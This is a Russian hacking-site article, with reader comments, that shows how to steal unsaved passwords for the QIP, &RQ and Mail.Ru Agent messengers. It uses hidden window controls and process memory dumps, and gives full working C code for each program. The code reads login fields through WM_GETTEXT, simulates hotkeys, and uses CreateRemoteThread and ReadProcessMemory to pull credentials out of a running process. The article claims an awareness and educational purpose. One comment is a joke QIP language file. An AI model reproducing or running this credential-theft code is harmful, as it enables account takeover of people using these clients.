Кража паролей из памяти — HackZona.Ru

Кража паролей из памяти

Кража паролей из памяти

Тип статьи:
Со старой ХакЗоны.
Источник:
Меня порой поражает беспечность разработчиков программных продуктов. И данные шифруют, и алгоритмы новые придумывают, и программы свои от взлома защищают, но пользы большой это не приносит.

Любой более-менее продвинутый пользователь знает, что хранить пароли на диске небезопасно. Самое надежное хранилище паролей — это голова. В то же время, большинство программ, требующих авторизации пользователя, предоставляют возможность сохранения (запоминания) пароля в программе для ускорения процесса входа в систему в дальнейшем. Разработчики реализуют эту функцию по разному — кто-то хранит пароль в файлах настроек, кто-то в реестре, кто-то в защищенном хранилище Windows (тот же реестр, но доступный лишь пользователю System). Вариантов хранения масса. Впрочем, как и методов кражи паролей из этих мест. Существует множество вредоносных программ, основной или дополнительной функцией которых является кража сохраненных паролей с жесткого диска жертвы.

Мы, ведь с вами, продвинутые пользователи, правда? И поэтому, никогда не сохраняем пароли, а только запоминаем. Верно ли утверждение, что в этом случае наш пароль в безопасности? Давайте проверим.

Что нам понадобится?
Spy++ из пакета MS Visual Studio, или любая подобная утилита.
PE Tools, или любая утилита, позволяющая сделать дамп процесса.
Hex Workshop, или любой другой шестнадцатеричный редактор.
MS Visual C++, или любой C компилятор.

Что будем исследовать?
QIP. У меня — билд 8040. (qip.ru)
&RQ. Я использовал версию 0.9.7.4. (andrq.org)
Mail.Ru Агент. Версия 5.0, билд 2082. (agent.mail.ru)
Взлом паролей QIP

Бесплатный интернет-пейджер, написанный и поддерживаемый российским программистом. У QIP миллионы поклонников, которые любят его за удобство, кучу скинов и массу других полезных возможностей.
Если у вас еще нет этого ICQ-клиента — вперед на сайт разработчика за последней версией. Устанавливаем, запускаем.

Открывшееся окно предлагает нам ввести данные авторизации, либо завести новую учетную запись. Не важно, зарегистрируете ли вы новый аккаунт, или будете заходить со своими учетными данными. Двигаемся дальше.

QIP любезно предоставляет нам возможность сохранить пароль. Пароль мы сохранять не будем. Пока оставляем QIP в покое и открываем Spy++. Жмем Alt+F3 и открываем диалог поиска окна. Берем мышкой Finder Tool и кидаем его на окно менеджера учетных записей QIP'а.



Нажимаем Ok и Spy++ показывает нам в списке окон нужное нам окно — «QIP — Спокойное общение!», имя класса которого TManForm. На нем дерево дочерних окон, обеспечивающих интерфейс подключения к серверу. Нас интересуют TGroupBox, TComboBox на нем и TEdit. Это как раз наши UIN и пароль. Запомним название классов.

Переходим снова в окно QIP и нажимаем кнопку «Подключиться».

Диалог входа закрылся. Можно общаться. Но проверим, закрылось ли окно диалога? Обновим список окон в Spy++ (клавиша F5) и попробуем снова найти окно авторизации QIP. Нажимаем Alt+F3 и вводим параметры поиска. Для того чтобы найти окно нам надо указать хотя бы один параметр: Handle — уникальный идентификатор окна, Caption — надпись формы, Class — имя класса окна. Мы будем искать по классу.

Вводим в поле Class класс окна TManForm. Жмем Ok.



Что мы видим? Окно не закрылось. Оно просто невидимо… Попробуем прочитать поля с данными авторизации. Для этого используем стандартный механизм общения окон и системы в Windows — сообщения.

Начинаем программировать.

void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Найдем окно диалога авторизации
hManForm=FindWindow(«TManForm»,0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,«TGroupBox»,0);

// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,«TComboBox»,0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);

// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,«TEdit»,0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << «tPassword: » << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}

Сохраняем, компилируем, запускаем. Что у нас получилось? Если все сделано верно, то программа вернет строку, содержащую ваш UIN и пароль.



Следует заметить, что если мы запустим QIP, в котором предварительно была установлена опция «Сохранить пароль», то данный метод получения пароля работать не будет, так как в поле пароля находится текст "<:HIDDEN:>". Видимо, разработчик, краем уха все-таки слышал про безопасность.
Взлом паролей &RQ

Так же бесплатный и не менее популярный, чем QIP, ICQ-клиент, который ласково называют «крысой». Крыса поддерживает плагины, скины и поддерживается сообществом разработчиков.

Качаем последнюю стабильную версию с офсайта и начинаем исследование.

После запуска &RQ предлагает нам создать новый профиль, для чего надо указать свой UIN, либо зарегистрировать новый. Далее предлагается выбрать язык интерфейса и программа благополучно стартует. Для того, чтобы крыса подключилась к серверу, надо выбрать статус «Онлайн». Программа запрашивает пароль и подключается. Можно указать программе что надо подключаться автоматически при старте, для этого надо в настройках (Alt+P) поставить опцию «Соединяться при запуске» на фрейме «Запуск». Это не обязательно. Для нас же важна опция «Не сохранять пароль», в категории «Безопасность» настроек. Выставляем ее.

Переходим на фрейм «Соединение». Чем примечательна для нас данная категория? Тем, что здесь есть поле «Пароль». Запомним это обстоятельство. Пока же закроем крысу.

Откроем ее заново. Для подключения нам надо указать пароль, ведь мы выставили опцию «Не сохранят пароль». Введем пароль, подключимся. Снова вызовем диалог настроек. Удивительно, но поле «Пароль» содержит текст. Это наш пароль? Проверим.



Воспользовавшись утилитой Spy++, узнаем имена классов окон &RQ, и начнем писать код.

void main()
{
// Объявим переменные, необходимые для работы
HWND hmainFrm,hprefFrm,hPanel,hconnectionFr,hEdit; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля

// Основное окно &RQ. Из него мы будем получать UIN
hmainFrm=FindWindow(«TmainFrm»,0);
// Длина текста
iUIN=SendMessage(hmainFrm, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем буфер
pUIN=(char*)LocalAlloc(0,iUIN);
// Получаем заголовок основного окна — это UIN
GetWindowText(hmainFrm,pUIN,iUIN);

/*
Следует учитывать, что при запуске &RQ, окно настроек
не открывается вместе с основным окном. Но что же нам
мешает его открыть? Тем более что нам любезно предоставлена
возможность использовать горячие клавиши (Alt+P). Вот
и эмулируем их нажатие.
*/
// Эмуляция Alt+P — горячей клавиши для вызова окна «Настройки»
SendMessage(hmainFrm, WM_SYSKEYDOWN, 'P', 0x20000000);
SendMessage(hmainFrm, WM_SYSKEYUP, 'P', 0x20000000);

// Находим окно настроек
hprefFrm=FindWindow(«TprefFrm»,0);
// Панель с категориями настроек
hPanel=FindWindowEx(hprefFrm,0,«TPanel»,0);
// Фрейм с настройками подключения
hconnectionFr=FindWindowEx(hPanel,0,«TconnectionFr»,0);
// Поле с паролем
hEdit=FindWindowEx(hconnectionFr,0,«TEdit»,0);

// Длина пароля
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделаем буфер
pPass=(char*)LocalAlloc(0,iPass);
// Получаем пароль
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

// Выводим результат
cout << "[!!!]Found for: "<< pUIN << «tPassword: » << pPass;

// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}

После выполнения программы можно убедиться, что и данный пример работает. Мы получили наш пароль. При этом, если QIP в случае сохранения пароля на диске скрывает пароль, то &RQ не заботится о том, как был введен пароль. В окне настроек пароль можно обнаружить всегда.

Единственный нюанс заключается в том, что &RQ не открывает окно настроек после старта, хотя единожды открытое окно настроек после закрытия опять же не закрывается, а просто становится невидимым. В исходном коде мы использовали горячую клавишу, чтобы быть уверенными, что окно настроек открыто.
Взлом паролей Mail.Ru Агент

Очередное средство общения в сети, предоставляемое компанией Mail.Ru. Работает по собственному протоколу, имеет возможность голосового общения с выходом на внешние телефонные номера. Имеет кучу возможностей и соответственно, поклонников, которые пользуются им ежедневно.

В случае с Mail.ru Агентом мы будем использовать другой подход. Чуть более сложный, но не менее эффективный. Окна искать мы не будем. Попробуем найти пароль в памяти процесса.

Итак, качаем, устанавливаем, регистрируемся если надо и запускаем.

Агент поддерживает несколько аккаунтов пользователей, и список их хранит в реестре. В ветке HKEY_CURRENT_USERSoftware Mail.RuAgentmagent_logins он создает столько REG_BINARY параметров, сколько аккаунтов зарегистрировано на локальном компьютере. Ключи при этом называются следующим образом: NNN#ваш_email_адрес, где NNN — порядковый номер аккаунта.

Посмотрим, есть ли в памяти процесса email-адрес. Для этого воспользуемся утилитой PE Tools, которая позволяет сделать дамп процесса.



Сохраняем дамп, загружаем его в Hex Workshop. Жмем Ctrl+F для открытия диалога поиска. Выбираем режим Text String и в поле Value вводим наш email-адрес. Нажимаем Ok и редактор выделяет найденный текст. Вы уже заметили? Через 4 байта от email-адреса находится пароль! Что это за 4 байта? Это 32-х битное значение длины пароля. Перед email-адресом тоже есть его длина. Вот и все, осталось только автоматизировать процесс поиска, чем мы и займемся.

// Функция возвращает хэндл процесса magent.exe
HANDLE GetProcess()
{
HANDLE hProcessSnap; // Хэндл снимка процессов
PROCESSENTRY32 pe32; // Структура, содержащая информацию о процессе

// Делаем снимок процессов
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
// Перебираем снимок
if(!Process32First(hProcessSnap,&pe32)) {CloseHandle(hProcessSnap);return 0;}
do
{
// Сравниваем имя файла с magent.exe
if(!lstrcmp(strupr(«magent.exe»),strupr(&pe32.szExeFile[0])))
{
// Нашли нужный процесс, вернем его хэндл
return OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
}
} while( Process32Next(hProcessSnap,&pe32));
// Закрываем снимок процессов
CloseHandle( hProcessSnap );
return 0;
}

void main()
{
HKEY hKey; // Идентификатор ключа реестра
DWORD i,t, retCode, cValues = 256; // Необходимые промежуточные переменные
char regValue[MAX_PATH]; // Буфер для чтения ключа реестра
DWORD cchValue = 1024; // Размер буфера
HANDLE hProcess; // Хэндл процесса
char szEmail[MAX_PATH]; // Буфер для email-адреса
int iEmail; // Длина email-адреса
HMODULE hModule; // Хэндл модуля
MODULEINFO modinfo; // Структура, содержащая информацию о модуле
DWORD dwReaded; // Количество байт в дампе процесса
char szPass[128]; // Буфер для пароля
bool found; // Флаг найден/не найден пароль
char* pTmp; // Временный буфер

hProcess=GetProcess();
if (hProcess)
{
// Получаем хэндл модуля по хэндлу процесса,
// для чего временно создаем новый поток
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)GetModuleHandle, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (LPDWORD)&hModule);
CloseHandle(hThread);

// Получаем информацию о загруженном модуле
GetModuleInformation(hProcess,hModule,&modinfo,sizeof(MODULEINFO));

// Буфер для дампа
PBYTE pBuffer = new BYTE[modinfo.SizeOfImage];
// Читаем дамп
ReadProcessMemory(hProcess, modinfo.lpBaseOfDll, pBuffer,
modinfo.SizeOfImage, &dwReaded);
if (dwReaded>0)
{
// Открываем ключ реестра
if (RegOpenKeyEx(HKEY_CURRENT_USER,«SoftwareMail.RuAgent
magent_logins»,0,KEY_QUERY_VALUE,&hKey)==ERROR_SUCCESS)
{
for (t = 0, retCode = ERROR_SUCCESS; t < cValues; t++)
{
// Перебираем по очереди параметры ключа реестра для поиска email'ов в дампе
retCode = RegEnumValue(hKey, t, regValue, &cchValue, NULL, NULL, NULL, NULL);
if (retCode == ERROR_SUCCESS)
{
// Первые 4 байта имени параметра это номер, его пропускаем. Далее идет адрес.
lstrcpy(szEmail,(const char*)®Value[4]);
iEmail=lstrlen(szEmail);
// Выделяем буфер, в который будем заносить сравниваемые участки дампа
pTmp=(char*)LocalAlloc(0,iEmail);
found=FALSE;
// Двигаемся по дампу
for (i=0;i<dwReaded;i++)
{
if (found){i=dwReaded;} //Заканчиваем перебор
// Берем очередной участок дампа для сравнения
memcpy(&pTmp,&pBuffer[i],iEmail);
// Сравниваем
if (!memcmp(&pTmp,szEmail,iEmail))
{
// Через 4 байта после адреса находится пароль.
memcpy(szPass,&pBuffer[i+iEmail+4],sizeof(szPass));
// Пароль найден. Выводим результат.
cout << "[!!!]Found for: " << szEmail << «tPassword: » << szPass;
found=TRUE;
}
}
LocalFree(pTmp);
}
}
RegCloseKey(hKey);
}
}
}
}

Компилируем, запускаем, получаем пароль. Все просто.
Заключение

Какой можно сделать вывод? Даже если мы не храним конфиденциальную информацию на жестком диске, она является уязвимой. Всегда можно найти кучу способов получить закрытую информацию, а многие из этих способов будут настолько просты и неожиданны, что их может обнаружить каждый. Надо лишь мыслить нестандартно и все у вас получится.

Все вышеприведенные примеры направлены на привлечение более пристального внимания разработчиков программ к проблеме информационной безопасности. Приведенный автором код не претендует на уникальность и универсальность, тем не менее, принцип получения информации, применим ко многим программным продуктам.

Код примеров можно модифицировать, но использовать настоятельно рекомендуется только в образовательных целях.

Нравится
Не нравится

5 комментариев

15:09
Отличная статья. Огромный респект автору!!!
15:37
Самое надёжное придумать самый простой пароль ко всему, только пароль должен понимать только ты и записать его на какой-нить стикер и запихать его в горшок с кактусом=) я там диски с вредоносными программами держу..только тсс...
16:07
Статья написана профессионально!Автор знает о чем пишет!Огромный респект автору!
17:47
Это все хорошо, но хотелось бы еще почитать как можно архивы взломать?????
15:32
Кто хочет разнообразить свои будни в QIP 2005 (build 8080) :
1.Зайдите в папку с установленным QIP
2.Зайдите в папку LI > Russian и откройте файл "lang.ini"
3.Удалите всё из этого файла
4.Вставьте этот текст:
; Russian Interface Translation by [Болталка] developer
; Small corrections by Gamadril Gamadrilkin (Sep 05, 2005)

;ACCOUNTS MANAGER WINDOW
[Manager]
1=Болталка - самая весёлая версия!
2=[Болталка] Менеджер учетных учитывалей
3=ICQ#/Email/SN:
4=Код регистрации:
5=Купить пароль
6=Удалить пароль
7=Вход в боевом режиме
8=Уехать в Америку
9=Уехать в Китай
0=Отправка данных
A=Отключение
B=Удаление учетной записи
C=Купить новый номер ICQ:
D=Удаление пользователя-лоха
E=Используя стандартный метод
F=Купите аккаунт ICQ!
G=Удалить AIM SN
H=Используя метод с какими-то фигнями
I=1. Показать новую фигню
J=Нет фигни
K=2. Слово на фигне:
L=3. Удалить ICQ#
M=Используя web-покупку
N=Отправлен запрос фигни ...
O=Купите пароль для нового ICQ#
P=Билет
Q=Введите слово на фигне
R=Слово
S=Запущен новый процесс удаления ...
T=Возможно создать папку
U=Выполняется удаление ...
V=Купите билет!
W=Все файлы этой учетной записи будут отправлены постороннему лицу на почтовый ящик. Вы уверены?
X=Отправка данных
Y=Фигня получена
Z=Удаление ICQ:
AA=Извините, вы просто выкинуты из регистрации.

;SERVER/PROXY WINDOW
[ServerProxy]
1=Настройки отключения
2=Сервер разрешения доступа к своему компьютеру
3=Порт:
4=Сервер:
5=Настройки громкости
6=Тип громкости:
7=Музыка:
8=Сервер:
9=Удаление своего аккаунта (опционально)
0=Логин на travain.ru :
A=Пароль :
B=Поддерживать отключение
C=NTLM удаление с последующей аудентификацией

;MAIN
[Main]
1=год
2=месяц
3=неделя
4=день
5=час
6=мин

;CONTACT LIST HINT
7=Не в сети (где-то шляется)
8=В сети (тут)
9=Готов потрепать языком
0=Злой (надо попить валерьяночки)
A=В депресняке (грустный)
B=Дома (гуляю во всю)
C=На работе (работаю, работаю, работаю... Задолбался уже)
D=Отошел (Мне с тобой не интересно)
E=Обедаю (Ам-ам)
F=Недоступен (Вернусь в следующем году)
G=Невидимый (Работаю на спец.службы, тренирую навык невидимости)
H=Занят (Ты понял, чем я занят!)
I=Не беспокоить (Очень занят!)
J=Радостный или день варенья
K=Необходимо удаление аккаунта
L=Добавлен в список курящих
M=Добавлен в список некурящих
N=Изменялся:
O=Время простоя:
P=Время в травиане:
Q=Выключен:
R=Дата удаления:
S=Сервер работы:
T=Сервер дома:
U=Порт (корабельный):
V=Тип отключения:
W=Версия кока-колы:
X=Клиент на работе:
Y=Характеристики клиента:
Z=Унифицированные характеристики:
AA=WebFront: откючено
AB=Уровень предупреждений:
AC=Настройки сервисного сервированного сервиса:

;STATUSES AND ALL OTHER
AD=Менеджер учётных записей
AE=Отключение
AF=Отключен
AG=В сети
AH=Видимый для всех
AI=Видимый
AJ= Не в сети
AK=Готов потрепать языком
AL=Дайте валерьянки!!!
AM=Депресняк
AN=Дома
AO=На работе
AP=Жру
AQ=Ушел
AR=Недоступен
AS=Занят
AT=Не беспокоить
AU=Этот цирковая группа уже существует
AV=Труп существует
AW=Этот контакт уже существует
AX=Контакт уже существует
AY=Неверный E-mail или аккаунт в Травиане
AZ=Неверный E-mail или аккаунт в Травиане
BA=Поля ввода не может быть, повторите ввод
BB=Пустое поле
BC=Травка контакта
BD=Кличка :
BE=Мобилка# :
BF=E-mail :
BG=Пометка :
BH=Сохранить
BI=Заказать шарик дня варенья
BJ=Отмена
BK=Не в сети
BL=В сети
BM=Не в зале для курящих
BN=Добавить
BO=- Не в зале для курящих -
BP=Ваш серверный список контактов пуст.
BQ=Создайте новую цирковую труппу для добавления новых пользователей.
BR=Бытиё моё
BS=Удалилась из вашего цирка
BT=Контакт удалён
BU=Закрыть представление
BV=Статус-сообщение :
BW=Статус-сообщение -
BX=Новая цирковая труппа
BY=Введите имя новой группы:
BZ=Создать новую группу
CA=Переименовать группу
CB=Удалить цирковую труппу
CC=Все контакты в этом цирке будут удалены!
CD=Вы уверены?
CE=Добавляемый E-mail или аккаунт в Травиане:
CF=Добавить E-mail или аккаунт в Травиане
CG=Этот контакт будет удалён из вашего цирка
CH=Удалить контакт
CI=Введите новое имя для контакта:
CJ=Переименовать контакт
CK=Перед добавлением не забудьте выплатить зарплату
CL=Пожалуйста, разрешите пригласить вас на танец
CM=Назовите причину аварии :
CN=Запрос авторизации
CO=Отправить
CP=Теперь Вы можете любить меня вечно
CQ=Введите причину :
CR=Позволить добавить вас в список приглашенных
CS=Поковыряться в своих данных
CT=Стройки
CU=далить пароль
CV=О грамме [Болталка]
CW=Закрыть [Болталка]
CX=Открыть все цирки
CY=Закрыть все цирки
CZ=Запустить голубя
DA=Отправить ссылку
DB=Отправить контакты
DC=Отправить "Вас приняли на работу"
DD=Отправить счёт
DE=Прочесть статус-сообщение
DF=Данные пользователя
DG=Скопировать E-mail или аккаунт в Травиане в буфер обмена
DH=Удалить себя из его цирка
DI=Запрос авторизации
DJ=Править сотовый, email, пометку
DK=Перенести в труппу
DL=Добавить в список контактов
DM=Добавить в список курящих
DN=Добавить в список некурящих
DO=Перенести в список иронизируемых
DP=Сменить учётную книжку
DQ=Удалить из списка курящих
DR=Удалить из списка некурящих
DS=Запустить SMS-голубя
DT=Причина запроса авторизации:
DU=Поступил запрос авторизации
DV=Авторизация
DW=Заказать
DX=Окно сообщений
DY=Хочу валерьянки!!!
DZ=Водные процедуры
EA=Уставший
EB=Вечеринка
EC=Водка
ED=Думаю, думаю, думаю
EE=Ам-ам
EF=Електронный ящик
EG=Братва
EH=Кофеин
EI=Музыка
EJ=Дела
EK=Кино
EL=Весело
EM=Телефон
EN=Игры
EO=Учёба
EP=Покупки
EQ=Сопли и кашель
ER=Храплю
ES=Зарываюсь
ET=В Травиане
EU=Инжиниринг
EV=Что-то пишу и пишу и пишу...
EW=Статус-фигня
EX=[ Убрать фигню ]
EY=Имя в Травиане:
EZ=Email с Травиана:
FA=что-то пишет и пишет и пишет ...
FB=Получен вопрос чата
FC=Получен вопрос файла
FD=Получено URL-сообщение
FE=Вопрос авторизации
FF=В авторизации это место уже заказано
FG=Авторизация одобрена
FH=Серверное сообщение
FI=Вас приняли на работу
FJ=Сообщение от пейджера
FK=Сообщение от email
FL=Сообщение с контактами
FM=Неизвестное плагин-сообщение
FN=Авто-сообщение 'Ушёл'
FO=Авто-сообщение 'Очень занят'
FP=Авто-сообщение 'До свидания'
FQ=Авто-сообщение 'Не беспокоить'
FR=Авто-сообщение 'Готов потрепать языком'
FS=Разрешение добавить в свой цирк
FT=Контакт аудентифицировал себя с последующим удалением
FU=Общение
FV=Покрытка
FW=От какого-токакой-то
FX=Накрыть текущее
FY=Накрыть всех, кто не в сети
FZ=Накрыть все, кроме текущего
GA=Накрыть все
GB=Заправить текущего
GC=Заправить всех, кто в сети
GD=Заправить всех
GE=Не найден
GF=Найден
GG=Жена
GH=Муж
GI=Не нужна
GJ=Поиск завершён
GK=Идёт поиск ...
GL=Превышен лимит
GM=Результаты
GN=ICQ# / SN
GO=Действие
GP=Ник
GQ=Имя
GR=Фамилия
GS=Email
GT=Пол/возраст
GU=Добавить/найти пользователей
GV=Поиск пользователей
GW=Глобальная облога
GX=Дополнительно
GY=Искать по ICQ#
GZ=Искать по email
HA=Искать по именам
HB=E-mail или аккаунт в Травиане:
HC=и/или
HD=Очищать результаты
HE=Статуэтка поиска
HF=Поиск
HG=В списке:
HH=Всего в базе:
HI=Только "В сети"
HJ=Видимый для всех
HK=Видимый только для курящих
HL=Видимый для всех, кроме некурящих
HM=Видимый только для списка контактов
HN=Невидимый для всех
HO=Добавить новый контакт
HP=Имя контакта:
HQ=Цирковая труппа:
HR=Пол
HS=Возраст
HT=Страна
HU=Город/штат
HV=Язык
HW=Профессия
HX=Организация
HY=Прошлое
HZ=Интересы
IA=Ключ. слова
IB=Брак
IC=Искать везде по словам
ID=Альтернативный поиск по ICQ#
IE=Найти пользователя по чат-труппе
IF=Проверка статуса E-mail или аккаунта в Травиане
IG=Сортировать контакты
IH=по статуэтке
II=по именам
IJ=Орден
IK=Загрузить орден
IL=Убрать орден
IM=Общее
IN=Инфа
IO=Дом
IP=Работа
IQ=Очень личное
IR=Интересы
IS=Дополнительно
IT=Web-центр
IU=Загрузить даники
IV=Даники:
IW=Скопировать выделенное
IX=Скопировать все
IY=О себе
IZ=В прошлое
JA=Дата последнего удаления
JB=Отключен
JC=Не публиковать для всех, использовать при посеивании пароля
JD=Имя
JE=Основной email
JF=Домашний адрес
JG=Место рождения
JH=Информация
JI=Город
JJ=Штат/обл.
JK=Индекс
JL=Улица
JM=Телефон
JN=Факс
JO=Сотовый
JP=Поправка GMT
JQ=Время
JR=Ваше время
JS=Рабочий адрес
JT=Компания
JU=Название
JV=Отдел
JW=Должность
JX=Web-стр.
JY=Личное
JZ=Дата рождения
KA=Коолекционирование языков людей
KB=Дом. страница
KC=День
KD=Месяц
KE=Год
KF=Личные интересы
KG=Категории
KH=Прошлое / Организации
KI=Прошлое
KJ=Названия, ключевые слова
KK=Типы организаций
KL=О себе / Сообщение web-центра
KM=Доп. почтово-ящиковые-адреса
KN=Не публиковать
KO=Этот графический формат не поддерживается
KP=Такой размер не поддерживается (макс. 4x4, мин. 1x1)
KQ=Слишком большой размер файла (макс. 8 байт)
KR=Цитировать выделенное
KS=Вставить
KT=Ответить
KU=Проверка на подлость
KV=Приватные списки
KW=Текущий пароль:
KX=Новый пароль:
KY=Подтвердить новый пароль:
KZ=Изменить через web-страницу
LA=А вот и неправда!
LB=Введите новый счёт и подтвердите его
LC=А вот он и не был изменён!
LD=Зачем надо менять пароли, не понимаю!

;short status names
LE=Не в сети
LF=НДВ
LG=Работаю в спецсужбе
LH=В сети
LI=ГП
LJ=Нужна валерьянка
LK=Депресняк
LL=Дома
LM=На работе
LN=Ам-ам
LO=Отошел
LP=Н/Д
LQ=Занят
LR=НБ
;end short status names

LS=Список курящих
LT=Список некурящих
LU=Список гипнотизируемых
LV=Добавлен
LW=Удалить
LX=Вы будете всегда видимы для этих пользователей, если только не установите приватный статус "Невидимый для всех".
LY=Для этих пользователей вы будете всегда "Не в сети", если только не установите приватный статус "Видимый для всех" или "Видимый только для списка контактов" (последний вариант - для случая, если пользователь есть в вашем списке контактов).
LZ=Все сообщения вам от этих пользователей будут блокироваться сервером. Однако эти пользователи будут видеть ваш статус, если вы занесены в их цирк.
MA=Сервированные сообщения
MB=Список контактов
MC=Что-то вам пишет и пишет и пишет...
MD=Считывает ваше общение
ME=Показать [Болталка]
MF="Болталка" и логотип Болталки являются торговыми марками сайта "Travian" и могут быть юридически зарегистрированы. Патентуется в России и за рубежом. Остальные названия компаний и/или продуктов являются торговыми марками и/или зарегистрированными торговыми марками их владельцев.
MG=О грамме [Болталка]
MH=Посетить сайт Травиан (www.travian.ru)
MI=Справочный центр
MJ=Форум и поддержка
MK=История сообщений
ML=Сохранить как ...
MM=Обновить
MN=Очистить
MO=Найти далее
MP=Найти текст
MQ=Слово целиком
MR=Учитывать регистр
MS=Вверх
MT=Вниз
MU=Скрыть [Болталка]
MV=Условия оглашения
MW=Проверить
MX=Закрывать окно после отправки
MY=Проверить статус пользователя
MZ=Компактный вид окна
NA=День варенья
NB=Дата варенья
NC=Осталось:
ND=Поздравляем Вас с Днём Варенья! Желаем всех благ и всего самого наилучшего! Оставайтесь с нами и почаще заходите на сайт travian.ru :)
NE=Анти-гамосек отключен
NF=Анти-гамосек включен
NG=Добавить этого пользователя в список контактов?
NH=Закрывать вкладку после отправки
NI=Email для подключения
NJ=Поиск трепельников языка
NK=Простой поиск
NL=Ник, имя или фамилия

[Options]
AA=Общие
AB=История
AC=Статус
AD=Анти-гамосек/проститутка
AE=Звуки
AF=Языки
AG=Скины/значки
AH=ID клиента
AI=Всевидящее око
AJ=По умолчанию
AK=Применить
AL=Авторизация
AM=Запрашивать мое разрешение на добавление
AN=Все пользователи могут добавлять меня без разрешения
AO=Статус в Web
AP=Показывать мой онлайн-статус для web и поиска
AQ=Чтобы включить эти опции, обновите ваши данные
AR=Запрашивать оффлайн-сообщения после подключения
AS=Удалять оффлайн-сообщения после подключения
AT=Отключить сервис орденов/аватаров
AU=Подключаться заново при разрыве соединения
AV=Опции
AW=Контакты изменялись
AX=Режим сортировки
AY=без сортировки
AZ=Показывать расширенную информацию контактов
BA=Отключить анимацию шариков дня рождения
BB=Мигание по событиям
BC=Мигание попки окна сообщений в панели задач
BD=Мигание ордена окна сообщений
BE=Выплывающие сообщения
BF=Включить выплывающие сообщения для моих контактов
BG=Показывать только при неактивном окне сообщений
BH=Выводить выплывающие уведомления, когда пользователи:
BI=Входят в сеть
BJ=Выходят из сети
BK=Возвращаются из статусов "Ушёл" или "Н/Д"
BL=Сохранение истории сообщений
BM=Сохранять историю сообщений
BN=Сохранять сервисные сообщения
BO=Запоминать мою последнюю картинку статуса
BP=Переключать приватный статус при смене статуса
BQ=Статус-сообщения
BR=Ваши статусы:
BS=Статус-сообщения (одно на строку):
BT=При нажатой кнопке защиты применять следующие опции:
BU=Включать анти-гамосек контроль
BV=Включать анти-проститутную защиту
BW=Анти-гамосек контроль
BX=[Болталка] Анти-проститутная защита
BY=Для тех, кто не в моём списке контактов
BZ=Принимать сообщения только от тех, кто в моём списке
CA=Не принимать сообщения пейджера и email
CB=Не принимать сообщения об авторизации
CC=Не принимать ссылки (URL)
CD=Блокировать всех пользователей
CE=Блокировать авторизацию
CF=[QIP] Пуск
CG=Получено сообщение
CH=Сообщение отправлено
CI=Пользователь вошёл в сеть
CJ=[Болталка] Звуки
CK=Отключить звуки
CL=Имя файла
CM=Изменить
CN=Прослушать
CO=Язык интерфейса
CP=Посетить наш сайт
CQ=!!! При смене языка необходимо перезапустить Болталку
CR=Автор/Описание
CS=Загрузить еще
CT=!!! При смене скина необходимо перезапустить Болталку.
CU=Смайлики скина
CV=Простые смайлики
CW=Анимированные смайлики
CX=!!! При смене смайликов необходимо перезапустить Болталку.
CY=Внимание! Анимированные смайлики могут замедлить работу программы, так как они потребляют больше системных ресурсов. Время от времени эти смайлики будут заменяться тестом в окне сообщений для высвобождения ресурсов системы.
CZ=Идентификация клиента
DA=Внимание! Эти настройки предназначены для опытных пользователей. Если вы не знаете, что это такое, пожалуйста, оставьте всё как есть. Изменение идентификатора клиента может сделать доступными некоторые функции Болталки или стать причиной стабильной работы программы.
DB=Доступные идентификаторы:
DC=Версия протокола прямого отключения:
DD=Можете добавить свои характеристики клиента (до 6 знаков):
DE=[QIP] Всевидящее око
DF=Эта функция позволяет видеть, кто вас добавил, кто читал ваши статус-сообщения, и все другие сервисные пакеты от тех пользователей, которых нет в вашем списке контактов.
DG=Отключить око
DH=Очистить
DI=Дата события
DJ=Читают моё статус-сообщение
DK=Печатают мне сообщение при закрытом окне сообщений
DL=Отключить фоновую картинку в окне сообщений
DM=Показывать E-mail или аккаунт в Травиане в названии закладки
DN=Запрашивать информацию для контактов вне моего списка
DO=Скрыть панели информации/значков
DP=Запрашивать email (отключите при лимитах БД)
DQ=Прозрачность
DR=Только для неактивного
DS=Авто-скрытие через (сек):
DT=Не показывать значки Болталку для Болталки-пользователей
DU=Удалять пользователей "Не в списке" после перезапуска
DV=Готовые ответы (один на строку)
DW=Отправлять готовые ответы сразу после выбора
DX=Показывать номера без дефисов (нужен перезапуск Болталки)
DY=Не мигать при получении сообщений
DZ=Не показывать при статусах "Ам-ам", "Ушёл", "Н/Д"
EA=Набор символов
EB=Цвета
EC=Фон списка при отсутствии картинки
ED=В сети (на лайне)
EE=Не в сети (не на лайне)
EF=Не в списке
EG=Имя цирковой труппы
EH=Счётчик в имени труппы
EI=Разделитель
EJ=Тень разделителя
EK=Сообщение от не-на-лайн-контакта
EL=Рамка для выбранного контакта
EM=Выбранный контакт
EN=Градиент выбранного контакта
EO=Горизонтальный градиент
EP=Менять статус на "Ушёл" после %s минут простоя
